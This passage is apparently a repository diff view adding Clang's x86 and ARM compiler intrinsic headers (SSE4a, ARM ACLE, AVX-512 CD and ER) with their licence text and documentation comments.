return __builtin_ia32_addcarryx_u32(__cf, __x, __y, __p);
}
#ifdef __x86_64__
static __inline unsigned char __attribute__((__always_inline__, __nodebug__, __target__("adx")))
_addcarryx_u64(unsigned char __cf, unsigned long long __x,
unsigned long long __y, unsigned long long *__p)
{
return __builtin_ia32_addcarryx_u64(__cf, __x, __y, __p);
}
#endif
/* Intrinsics that are also available if __ADX__ undefined */
static __inline unsigned char __DEFAULT_FN_ATTRS
_addcarry_u32(unsigned char __cf, unsigned int __x, unsigned int __y,
unsigned int *__p)
{
return __builtin_ia32_addcarry_u32(__cf, __x, __y, __p);
}
#ifdef __x86_64__
static __inline unsigned char __DEFAULT_FN_ATTRS
_addcarry_u64(unsigned char __cf, unsigned long long __x,
unsigned long long __y, unsigned long long *__p)
{
return __builtin_ia32_addcarry_u64(__cf, __x, __y, __p);
}
#endif
static __inline unsigned char __DEFAULT_FN_ATTRS
_subborrow_u32(unsigned char __cf, unsigned int __x, unsigned int __y,
unsigned int *__p)
{
return __builtin_ia32_subborrow_u32(__cf, __x, __y, __p);
}
#ifdef __x86_64__
static __inline unsigned char __DEFAULT_FN_ATTRS
_subborrow_u64(unsigned char __cf, unsigned long long __x,
unsigned long long __y, unsigned long long *__p)
{
return __builtin_ia32_subborrow_u64(__cf, __x, __y, __p);
}
#endif
#undef __DEFAULT_FN_ATTRS
#endif /* __ADXINTRIN_H */

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,194 @@
/*===---- ammintrin.h - SSE4a intrinsics -----------------------------------===
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*
*===-----------------------------------------------------------------------===
*/
#ifndef __AMMINTRIN_H
#define __AMMINTRIN_H
#include <pmmintrin.h>
/* Define the default attributes for the functions in this file. */
#define __DEFAULT_FN_ATTRS __attribute__((__always_inline__, __nodebug__, __target__("sse4a")))
/// \brief Extracts the specified bits from the lower 64 bits of the 128-bit
/// integer vector operand at the index idx and of the length len.
///
/// \headerfile <x86intrin.h>
///
/// \code
/// __m128i _mm_extracti_si64(__m128i x, const int len, const int idx);
/// \endcode
///
/// This intrinsic corresponds to the \c EXTRQ instruction.
///
/// \param x
/// The value from which bits are extracted.
/// \param len
/// Bits [5:0] specify the length; the other bits are ignored. If bits [5:0]
/// are zero, the length is interpreted as 64.
/// \param idx
/// Bits [5:0] specify the index of the least significant bit; the other
/// bits are ignored. If the sum of the index and length is greater than 64,
/// the result is undefined. If the length and index are both zero, bits
/// [63:0] of parameter x are extracted. If the length is zero but the index
/// is non-zero, the result is undefined.
/// \returns A 128-bit integer vector whose lower 64 bits contain the bits
/// extracted from the source operand.
#define _mm_extracti_si64(x, len, idx) \
((__m128i)__builtin_ia32_extrqi((__v2di)(__m128i)(x), \
(char)(len), (char)(idx)))
/// \brief Extracts the specified bits from the lower 64 bits of the 128-bit
/// integer vector operand at the index and of the length specified by __y.
///
/// \headerfile <x86intrin.h>
///
/// This intrinsic corresponds to the \c EXTRQ instruction.
///
/// \param __x
/// The value from which bits are extracted.
/// \param __y
/// Specifies the index of the least significant bit at [13:8] and the
/// length at [5:0]; all other bits are ignored. If bits [5:0] are zero, the
/// length is interpreted as 64. If the sum of the index and length is
/// greater than 64, the result is undefined. If the length and index are
/// both zero, bits [63:0] of parameter __x are extracted. If the length is
/// zero but the index is non-zero, the result is undefined.
/// \returns A 128-bit vector whose lower 64 bits contain the bits extracted
/// from the source operand.
static __inline__ __m128i __DEFAULT_FN_ATTRS
_mm_extract_si64(__m128i __x, __m128i __y)
{
return (__m128i)__builtin_ia32_extrq((__v2di)__x, (__v16qi)__y);
}
/// \brief Inserts bits of a specified length from the source integer vector y
/// into the lower 64 bits of the destination integer vector x at the index
/// idx and of the length len.
///
/// \headerfile <x86intrin.h>
///
/// \code
/// __m128i _mm_inserti_si64(__m128i x, __m128i y, const int len,
/// const int idx);
/// \endcode
///
/// This intrinsic corresponds to the \c INSERTQ instruction.
///
/// \param x
/// The destination operand where bits will be inserted. The inserted bits
/// are defined by the length len and by the index idx specifying the least
/// significant bit.
/// \param y
/// The source operand containing the bits to be extracted. The extracted
/// bits are the least significant bits of operand y of length len.
/// \param len
/// Bits [5:0] specify the length; the other bits are ignored. If bits [5:0]
/// are zero, the length is interpreted as 64.
/// \param idx
/// Bits [5:0] specify the index of the least significant bit; the other
/// bits are ignored. If the sum of the index and length is greater than 64,
/// the result is undefined. If the length and index are both zero, bits
/// [63:0] of parameter y are inserted into parameter x. If the length is
/// zero but the index is non-zero, the result is undefined.
/// \returns A 128-bit integer vector containing the original lower 64-bits of
/// destination operand x with the specified bitfields replaced by the lower
/// bits of source operand y. The upper 64 bits of the return value are
/// undefined.
#define _mm_inserti_si64(x, y, len, idx) \
((__m128i)__builtin_ia32_insertqi((__v2di)(__m128i)(x), \
(__v2di)(__m128i)(y), \
(char)(len), (char)(idx)))
/// \brief Inserts bits of a specified length from the source integer vector
/// __y into the lower 64 bits of the destination integer vector __x at the
/// index and of the length specified by __y.
///
/// \headerfile <x86intrin.h>
///
/// This intrinsic corresponds to the \c INSERTQ instruction.
///
/// \param __x
/// The destination operand where bits will be inserted. The inserted bits
/// are defined by the length and by the index of the least significant bit
/// specified by operand __y.
/// \param __y
/// The source operand containing the bits to be extracted. The extracted
/// bits are the least significant bits of operand __y with length specified
/// by bits [69:64]. These are inserted into the destination at the index
/// specified by bits [77:72]; all other bits are ignored. If bits [69:64]
/// are zero, the length is interpreted as 64. If the sum of the index and
/// length is greater than 64, the result is undefined. If the length and
/// index are both zero, bits [63:0] of parameter __y are inserted into
/// parameter __x. If the length is zero but the index is non-zero, the
/// result is undefined.
/// \returns A 128-bit integer vector containing the original lower 64-bits of
/// destination operand __x with the specified bitfields replaced by the
/// lower bits of source operand __y. The upper 64 bits of the return value
/// are undefined.
static __inline__ __m128i __DEFAULT_FN_ATTRS
_mm_insert_si64(__m128i __x, __m128i __y)
{
return (__m128i)__builtin_ia32_insertq((__v2di)__x, (__v2di)__y);
}
/// \brief Stores a 64-bit double-precision value in a 64-bit memory location.
/// To minimize caching, the data is flagged as non-temporal (unlikely to be
/// used again soon).
///
/// \headerfile <x86intrin.h>
///
/// This intrinsic corresponds to the \c MOVNTSD instruction.
///
/// \param __p
/// The 64-bit memory location used to store the register value.
/// \param __a
/// The 64-bit double-precision floating-point register value to be stored.
static __inline__ void __DEFAULT_FN_ATTRS
_mm_stream_sd(double *__p, __m128d __a)
{
__builtin_ia32_movntsd(__p, (__v2df)__a);
}
/// \brief Stores a 32-bit single-precision floating-point value in a 32-bit
/// memory location. To minimize caching, the data is flagged as
/// non-temporal (unlikely to be used again soon).
///
/// \headerfile <x86intrin.h>
///
/// This intrinsic corresponds to the \c MOVNTSS instruction.
///
/// \param __p
/// The 32-bit memory location used to store the register value.
/// \param __a
/// The 32-bit single-precision floating-point register value to be stored.
static __inline__ void __DEFAULT_FN_ATTRS
_mm_stream_ss(float *__p, __m128 __a)
{
__builtin_ia32_movntss(__p, (__v4sf)__a);
}
#undef __DEFAULT_FN_ATTRS
#endif /* __AMMINTRIN_H */

View File

@ -0,0 +1,312 @@
/*===---- arm_acle.h - ARM Non-Neon intrinsics -----------------------------===
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*
*===-----------------------------------------------------------------------===
*/
#ifndef __ARM_ACLE_H
#define __ARM_ACLE_H
#ifndef __ARM_ACLE
#error "ACLE intrinsics support not enabled."
#endif
#include <stdint.h>
#if defined(__cplusplus)
extern "C" {
#endif
/* 8 SYNCHRONIZATION, BARRIER AND HINT INTRINSICS */
/* 8.3 Memory barriers */
#if !defined(_MSC_VER)
#define __dmb(i) __builtin_arm_dmb(i)
#define __dsb(i) __builtin_arm_dsb(i)
#define __isb(i) __builtin_arm_isb(i)
#endif
/* 8.4 Hints */
#if !defined(_MSC_VER)
static __inline__ void __attribute__((__always_inline__, __nodebug__)) __wfi(void) {
__builtin_arm_wfi();
}
static __inline__ void __attribute__((__always_inline__, __nodebug__)) __wfe(void) {
__builtin_arm_wfe();
}
static __inline__ void __attribute__((__always_inline__, __nodebug__)) __sev(void) {
__builtin_arm_sev();
}
static __inline__ void __attribute__((__always_inline__, __nodebug__)) __sevl(void) {
__builtin_arm_sevl();
}
static __inline__ void __attribute__((__always_inline__, __nodebug__)) __yield(void) {
__builtin_arm_yield();
}
#endif
#if __ARM_32BIT_STATE
#define __dbg(t) __builtin_arm_dbg(t)
#endif
/* 8.5 Swap */
static __inline__ uint32_t __attribute__((__always_inline__, __nodebug__))
__swp(uint32_t __x, volatile uint32_t *__p) {
uint32_t v;
do
v = __builtin_arm_ldrex(__p);
while (__builtin_arm_strex(__x, __p));
return v;
}
/* 8.6 Memory prefetch intrinsics */
/* 8.6.1 Data prefetch */
#define __pld(addr) __pldx(0, 0, 0, addr)
#if __ARM_32BIT_STATE
#define __pldx(access_kind, cache_level, retention_policy, addr) \
__builtin_arm_prefetch(addr, access_kind, 1)
#else
#define __pldx(access_kind, cache_level, retention_policy, addr) \
__builtin_arm_prefetch(addr, access_kind, cache_level, retention_policy, 1)
#endif
/* 8.6.2 Instruction prefetch */
#define __pli(addr) __plix(0, 0, addr)
#if __ARM_32BIT_STATE
#define __plix(cache_level, retention_policy, addr) \
__builtin_arm_prefetch(addr, 0, 0)
#else
#define __plix(cache_level, retention_policy, addr) \
__builtin_arm_prefetch(addr, 0, cache_level, retention_policy, 0)
#endif
/* 8.7 NOP */
static __inline__ void __attribute__((__always_inline__, __nodebug__)) __nop(void) {
__builtin_arm_nop();
}
/* 9 DATA-PROCESSING INTRINSICS */
/* 9.2 Miscellaneous data-processing intrinsics */
/* ROR */
static __inline__ uint32_t __attribute__((__always_inline__, __nodebug__))
__ror(uint32_t __x, uint32_t __y) {
__y %= 32;
if (__y == 0)
return __x;
return (__x >> __y) | (__x << (32 - __y));
}
static __inline__ uint64_t __attribute__((__always_inline__, __nodebug__))
__rorll(uint64_t __x, uint32_t __y) {
__y %= 64;
if (__y == 0)
return __x;
return (__x >> __y) | (__x << (64 - __y));
}
static __inline__ unsigned long __attribute__((__always_inline__, __nodebug__))
__rorl(unsigned long __x, uint32_t __y) {
#if __SIZEOF_LONG__ == 4
return __ror(__x, __y);
#else
return __rorll(__x, __y);
#endif
}
/* CLZ */
static __inline__ uint32_t __attribute__((__always_inline__, __nodebug__))
__clz(uint32_t __t) {
return __builtin_clz(__t);
}
static __inline__ unsigned long __attribute__((__always_inline__, __nodebug__))
__clzl(unsigned long __t) {
return __builtin_clzl(__t);
}
static __inline__ uint64_t __attribute__((__always_inline__, __nodebug__))
__clzll(uint64_t __t) {
return __builtin_clzll(__t);
}
/* REV */
static __inline__ uint32_t __attribute__((__always_inline__, __nodebug__))
__rev(uint32_t __t) {
return __builtin_bswap32(__t);
}
static __inline__ unsigned long __attribute__((__always_inline__, __nodebug__))
__revl(unsigned long __t) {
#if __SIZEOF_LONG__ == 4
return __builtin_bswap32(__t);
#else
return __builtin_bswap64(__t);
#endif
}
static __inline__ uint64_t __attribute__((__always_inline__, __nodebug__))
__revll(uint64_t __t) {
return __builtin_bswap64(__t);
}
/* REV16 */
static __inline__ uint32_t __attribute__((__always_inline__, __nodebug__))
__rev16(uint32_t __t) {
return __ror(__rev(__t), 16);
}
static __inline__ uint64_t __attribute__((__always_inline__, __nodebug__))
__rev16ll(uint64_t __t) {
return (((uint64_t)__rev16(__t >> 32)) << 32) | __rev16(__t);
}
static __inline__ unsigned long __attribute__((__always_inline__, __nodebug__))
__rev16l(unsigned long __t) {
#if __SIZEOF_LONG__ == 4
return __rev16(__t);
#else
return __rev16ll(__t);
#endif
}
/* REVSH */
static __inline__ int16_t __attribute__((__always_inline__, __nodebug__))
__revsh(int16_t __t) {
return __builtin_bswap16(__t);
}
/* RBIT */
static __inline__ uint32_t __attribute__((__always_inline__, __nodebug__))
__rbit(uint32_t __t) {
return __builtin_arm_rbit(__t);
}
static __inline__ uint64_t __attribute__((__always_inline__, __nodebug__))
__rbitll(uint64_t __t) {
#if __ARM_32BIT_STATE
return (((uint64_t)__builtin_arm_rbit(__t)) << 32) |
__builtin_arm_rbit(__t >> 32);
#else
return __builtin_arm_rbit64(__t);
#endif
}
static __inline__ unsigned long __attribute__((__always_inline__, __nodebug__))
__rbitl(unsigned long __t) {
#if __SIZEOF_LONG__ == 4
return __rbit(__t);
#else
return __rbitll(__t);
#endif
}
/*
* 9.4 Saturating intrinsics
*
* FIXME: Change guard to their corrosponding __ARM_FEATURE flag when Q flag
* intrinsics are implemented and the flag is enabled.
*/
/* 9.4.1 Width-specified saturation intrinsics */
#if __ARM_32BIT_STATE
#define __ssat(x, y) __builtin_arm_ssat(x, y)
#define __usat(x, y) __builtin_arm_usat(x, y)
#endif
/* 9.4.2 Saturating addition and subtraction intrinsics */
#if __ARM_32BIT_STATE
static __inline__ int32_t __attribute__((__always_inline__, __nodebug__))
__qadd(int32_t __t, int32_t __v) {
return __builtin_arm_qadd(__t, __v);
}
static __inline__ int32_t __attribute__((__always_inline__, __nodebug__))
__qsub(int32_t __t, int32_t __v) {
return __builtin_arm_qsub(__t, __v);
}
static __inline__ int32_t __attribute__((__always_inline__, __nodebug__))
__qdbl(int32_t __t) {
return __builtin_arm_qadd(__t, __t);
}
#endif
/* 9.7 CRC32 intrinsics */
#if __ARM_FEATURE_CRC32
static __inline__ uint32_t __attribute__((__always_inline__, __nodebug__))
__crc32b(uint32_t __a, uint8_t __b) {
return __builtin_arm_crc32b(__a, __b);
}
static __inline__ uint32_t __attribute__((__always_inline__, __nodebug__))
__crc32h(uint32_t __a, uint16_t __b) {
return __builtin_arm_crc32h(__a, __b);
}
static __inline__ uint32_t __attribute__((__always_inline__, __nodebug__))
__crc32w(uint32_t __a, uint32_t __b) {
return __builtin_arm_crc32w(__a, __b);
}
static __inline__ uint32_t __attribute__((__always_inline__, __nodebug__))
__crc32d(uint32_t __a, uint64_t __b) {
return __builtin_arm_crc32d(__a, __b);
}
static __inline__ uint32_t __attribute__((__always_inline__, __nodebug__))
__crc32cb(uint32_t __a, uint8_t __b) {
return __builtin_arm_crc32cb(__a, __b);
}
static __inline__ uint32_t __attribute__((__always_inline__, __nodebug__))
__crc32ch(uint32_t __a, uint16_t __b) {
return __builtin_arm_crc32ch(__a, __b);
}
static __inline__ uint32_t __attribute__((__always_inline__, __nodebug__))
__crc32cw(uint32_t __a, uint32_t __b) {
return __builtin_arm_crc32cw(__a, __b);
}
static __inline__ uint32_t __attribute__((__always_inline__, __nodebug__))
__crc32cd(uint32_t __a, uint64_t __b) {
return __builtin_arm_crc32cd(__a, __b);
}
#endif
/* 10.1 Special register intrinsics */
#define __arm_rsr(sysreg) __builtin_arm_rsr(sysreg)
#define __arm_rsr64(sysreg) __builtin_arm_rsr64(sysreg)
#define __arm_rsrp(sysreg) __builtin_arm_rsrp(sysreg)
#define __arm_wsr(sysreg, v) __builtin_arm_wsr(sysreg, v)
#define __arm_wsr64(sysreg, v) __builtin_arm_wsr64(sysreg, v)
#define __arm_wsrp(sysreg, v) __builtin_arm_wsrp(sysreg, v)
#if defined(__cplusplus)
}
#endif
#endif /* __ARM_ACLE_H */

File diff suppressed because it is too large Load Diff

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,144 @@
/*===------------- avx512cdintrin.h - AVX512CD intrinsics ------------------===
*
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*
*===-----------------------------------------------------------------------===
*/
#ifndef __IMMINTRIN_H
#error "Never use <avx512cdintrin.h> directly; include <immintrin.h> instead."
#endif
#ifndef __AVX512CDINTRIN_H
#define __AVX512CDINTRIN_H
/* Define the default attributes for the functions in this file. */
#define __DEFAULT_FN_ATTRS __attribute__((__always_inline__, __nodebug__, __target__("avx512cd")))
static __inline__ __m512i __DEFAULT_FN_ATTRS
_mm512_conflict_epi64 (__m512i __A)
{
return (__m512i) __builtin_ia32_vpconflictdi_512_mask ((__v8di) __A,
(__v8di) _mm512_setzero_si512 (),
(__mmask8) -1);
}
static __inline__ __m512i __DEFAULT_FN_ATTRS
_mm512_mask_conflict_epi64 (__m512i __W, __mmask8 __U, __m512i __A)
{
return (__m512i) __builtin_ia32_vpconflictdi_512_mask ((__v8di) __A,
(__v8di) __W,
(__mmask8) __U);
}
static __inline__ __m512i __DEFAULT_FN_ATTRS
_mm512_maskz_conflict_epi64 (__mmask8 __U, __m512i __A)
{
return (__m512i) __builtin_ia32_vpconflictdi_512_mask ((__v8di) __A,
(__v8di) _mm512_setzero_si512 (),
(__mmask8) __U);
}
static __inline__ __m512i __DEFAULT_FN_ATTRS
_mm512_conflict_epi32 (__m512i __A)
{
return (__m512i) __builtin_ia32_vpconflictsi_512_mask ((__v16si) __A,
(__v16si) _mm512_setzero_si512 (),
(__mmask16) -1);
}
static __inline__ __m512i __DEFAULT_FN_ATTRS
_mm512_mask_conflict_epi32 (__m512i __W, __mmask16 __U, __m512i __A)
{
return (__m512i) __builtin_ia32_vpconflictsi_512_mask ((__v16si) __A,
(__v16si) __W,
(__mmask16) __U);
}
static __inline__ __m512i __DEFAULT_FN_ATTRS
_mm512_maskz_conflict_epi32 (__mmask16 __U, __m512i __A)
{
return (__m512i) __builtin_ia32_vpconflictsi_512_mask ((__v16si) __A,
(__v16si) _mm512_setzero_si512 (),
(__mmask16) __U);
}
static __inline__ __m512i __DEFAULT_FN_ATTRS
_mm512_lzcnt_epi32 (__m512i __A)
{
return (__m512i) __builtin_ia32_vplzcntd_512_mask ((__v16si) __A,
(__v16si) _mm512_setzero_si512 (),
(__mmask16) -1);
}
static __inline__ __m512i __DEFAULT_FN_ATTRS
_mm512_mask_lzcnt_epi32 (__m512i __W, __mmask16 __U, __m512i __A)
{
return (__m512i) __builtin_ia32_vplzcntd_512_mask ((__v16si) __A,
(__v16si) __W,
(__mmask16) __U);
}
static __inline__ __m512i __DEFAULT_FN_ATTRS
_mm512_maskz_lzcnt_epi32 (__mmask16 __U, __m512i __A)
{
return (__m512i) __builtin_ia32_vplzcntd_512_mask ((__v16si) __A,
(__v16si) _mm512_setzero_si512 (),
(__mmask16) __U);
}
static __inline__ __m512i __DEFAULT_FN_ATTRS
_mm512_lzcnt_epi64 (__m512i __A)
{
return (__m512i) __builtin_ia32_vplzcntq_512_mask ((__v8di) __A,
(__v8di) _mm512_setzero_si512 (),
(__mmask8) -1);
}
static __inline__ __m512i __DEFAULT_FN_ATTRS
_mm512_mask_lzcnt_epi64 (__m512i __W, __mmask8 __U, __m512i __A)
{
return (__m512i) __builtin_ia32_vplzcntq_512_mask ((__v8di) __A,
(__v8di) __W,
(__mmask8) __U);
}
static __inline__ __m512i __DEFAULT_FN_ATTRS
_mm512_maskz_lzcnt_epi64 (__mmask8 __U, __m512i __A)
{
return (__m512i) __builtin_ia32_vplzcntq_512_mask ((__v8di) __A,
(__v8di) _mm512_setzero_si512 (),
(__mmask8) __U);
}
static __inline__ __m512i __DEFAULT_FN_ATTRS
_mm512_broadcastmb_epi64 (__mmask8 __A)
{
return (__m512i) __builtin_ia32_broadcastmb512 (__A);
}
static __inline__ __m512i __DEFAULT_FN_ATTRS
_mm512_broadcastmw_epi32 (__mmask16 __A)
{
return (__m512i) __builtin_ia32_broadcastmw512 (__A);
}
#undef __DEFAULT_FN_ATTRS
#endif

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,285 @@
/*===---- avx512erintrin.h - AVX512ER intrinsics ---------------------------===
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*
*===-----------------------------------------------------------------------===
*/
#ifndef __IMMINTRIN_H
#error "Never use <avx512erintrin.h> directly; include <immintrin.h> instead."
#endif
#ifndef __AVX512ERINTRIN_H
#define __AVX512ERINTRIN_H
// exp2a23
#define _mm512_exp2a23_round_pd(A, R) __extension__ ({ \
(__m512d)__builtin_ia32_exp2pd_mask((__v8df)(__m512d)(A), \
(__v8df)_mm512_setzero_pd(), \
(__mmask8)-1, (int)(R)); })
#define _mm512_mask_exp2a23_round_pd(S, M, A, R) __extension__ ({ \
(__m512d)__builtin_ia32_exp2pd_mask((__v8df)(__m512d)(A), \
(__v8df)(__m512d)(S), (__mmask8)(M), \
(int)(R)); })
#define _mm512_maskz_exp2a23_round_pd(M, A, R) __extension__ ({ \
(__m512d)__builtin_ia32_exp2pd_mask((__v8df)(__m512d)(A), \
(__v8df)_mm512_setzero_pd(), \
(__mmask8)(M), (int)(R)); })
#define _mm512_exp2a23_pd(A) \
_mm512_exp2a23_round_pd((A), _MM_FROUND_CUR_DIRECTION)
#define _mm512_mask_exp2a23_pd(S, M, A) \
_mm512_mask_exp2a23_round_pd((S), (M), (A), _MM_FROUND_CUR_DIRECTION)
#define _mm512_maskz_exp2a23_pd(M, A) \
_mm512_maskz_exp2a23_round_pd((M), (A), _MM_FROUND_CUR_DIRECTION)
#define _mm512_exp2a23_round_ps(A, R) __extension__ ({ \
(__m512)__builtin_ia32_exp2ps_mask((__v16sf)(__m512)(A), \
(__v16sf)_mm512_setzero_ps(), \
(__mmask16)-1, (int)(R)); })
#define _mm512_mask_exp2a23_round_ps(S, M, A, R) __extension__ ({ \
(__m512)__builtin_ia32_exp2ps_mask((__v16sf)(__m512)(A), \
(__v16sf)(__m512)(S), (__mmask16)(M), \
(int)(R)); })
#define _mm512_maskz_exp2a23_round_ps(M, A, R) __extension__ ({ \
(__m512)__builtin_ia32_exp2ps_mask((__v16sf)(__m512)(A), \
(__v16sf)_mm512_setzero_ps(), \
(__mmask16)(M), (int)(R)); })
#define _mm512_exp2a23_ps(A) \
_mm512_exp2a23_round_ps((A), _MM_FROUND_CUR_DIRECTION)
#define _mm512_mask_exp2a23_ps(S, M, A) \
_mm512_mask_exp2a23_round_ps((S), (M), (A), _MM_FROUND_CUR_DIRECTION)
#define _mm512_maskz_exp2a23_ps(M, A) \
_mm512_maskz_exp2a23_round_ps((M), (A), _MM_FROUND_CUR_DIRECTION)
// rsqrt28
#define _mm512_rsqrt28_round_pd(A, R) __extension__ ({ \
(__m512d)__builtin_ia32_rsqrt28pd_mask((__v8df)(__m512d)(A), \
(__v8df)_mm512_setzero_pd(), \
(__mmask8)-1, (int)(R)); })
#define _mm512_mask_rsqrt28_round_pd(S, M, A, R) __extension__ ({ \
(__m512d)__builtin_ia32_rsqrt28pd_mask((__v8df)(__m512d)(A), \
(__v8df)(__m512d)(S), (__mmask8)(M), \
(int)(R)); })
#define _mm512_maskz_rsqrt28_round_pd(M, A, R) __extension__ ({ \
(__m512d)__builtin_ia32_rsqrt28pd_mask((__v8df)(__m512d)(A), \
(__v8df)_mm512_setzero_pd(), \
(__mmask8)(M), (int)(R)); })
#define _mm512_rsqrt28_pd(A) \
_mm512_rsqrt28_round_pd((A), _MM_FROUND_CUR_DIRECTION)
#define _mm512_mask_rsqrt28_pd(S, M, A) \
_mm512_mask_rsqrt28_round_pd((S), (M), (A), _MM_FROUND_CUR_DIRECTION)
#define _mm512_maskz_rsqrt28_pd(M, A) \
_mm512_maskz_rsqrt28_round_pd((M), (A), _MM_FROUND_CUR_DIRECTION)
#define _mm512_rsqrt28_round_ps(A, R) __extension__ ({ \
(__m512)__builtin_ia32_rsqrt28ps_mask((__v16sf)(__m512)(A), \
(__v16sf)_mm512_setzero_ps(), \
(__mmask16)-1, (int)(R)); })
#define _mm512_mask_rsqrt28_round_ps(S, M, A, R) __extension__ ({ \
(__m512)__builtin_ia32_rsqrt28ps_mask((__v16sf)(__m512)(A), \
(__v16sf)(__m512)(S), (__mmask16)(M), \
(int)(R)); })
#define _mm512_maskz_rsqrt28_round_ps(M, A, R) __extension__ ({ \
(__m512)__builtin_ia32_rsqrt28ps_mask((__v16sf)(__m512)(A), \
(__v16sf)_mm512_setzero_ps(), \
(__mmask16)(M), (int)(R)); })
#define _mm512_rsqrt28_ps(A) \
_mm512_rsqrt28_round_ps((A), _MM_FROUND_CUR_DIRECTION)
#define _mm512_mask_rsqrt28_ps(S, M, A) \
_mm512_mask_rsqrt28_round_ps((S), (M), A, _MM_FROUND_CUR_DIRECTION)
#define _mm512_maskz_rsqrt28_ps(M, A) \
_mm512_maskz_rsqrt28_round_ps((M), (A), _MM_FROUND_CUR_DIRECTION)
#define _mm_rsqrt28_round_ss(A, B, R) __extension__ ({ \
(__m128)__builtin_ia32_rsqrt28ss_round_mask((__v4sf)(__m128)(A), \
(__v4sf)(__m128)(B), \
(__v4sf)_mm_setzero_ps(), \
(__mmask8)-1, (int)(R)); })
#define _mm_mask_rsqrt28_round_ss(S, M, A, B, R) __extension__ ({ \
(__m128)__builtin_ia32_rsqrt28ss_round_mask((__v4sf)(__m128)(A), \
(__v4sf)(__m128)(B), \
(__v4sf)(__m128)(S), \
(__mmask8)(M), (int)(R)); })
#define _mm_maskz_rsqrt28_round_ss(M, A, B, R) __extension__ ({ \
(__m128)__builtin_ia32_rsqrt28ss_round_mask((__v4sf)(__m128)(A), \
(__v4sf)(__m128)(B), \
(__v4sf)_mm_setzero_ps(), \
(__mmask8)(M), (int)(R)); })
#define _mm_rsqrt28_ss(A, B) \
_mm_rsqrt28_round_ss((A), (B), _MM_FROUND_CUR_DIRECTION)
#define _mm_mask_rsqrt28_ss(S, M, A, B) \
_mm_mask_rsqrt28_round_ss((S), (M), (A), (B), _MM_FROUND_CUR_DIRECTION)
#define _mm_maskz_rsqrt28_ss(M, A, B) \
_mm_maskz_rsqrt28_round_ss((M), (A), (B), _MM_FROUND_CUR_DIRECTION)
#define _mm_rsqrt28_round_sd(A, B, R) __extension__ ({ \
(__m128d)__builtin_ia32_rsqrt28sd_round_mask((__v2df)(__m128d)(A), \
(__v2df)(__m128d)(B), \
(__v2df)_mm_setzero_pd(), \
(__mmask8)-1, (int)(R)); })
#define _mm_mask_rsqrt28_round_sd(S, M, A, B, R) __extension__ ({ \
(__m128d)__builtin_ia32_rsqrt28sd_round_mask((__v2df)(__m128d)(A), \
(__v2df)(__m128d)(B), \
(__v2df)(__m128d)(S), \
(__mmask8)(M), (int)(R)); })
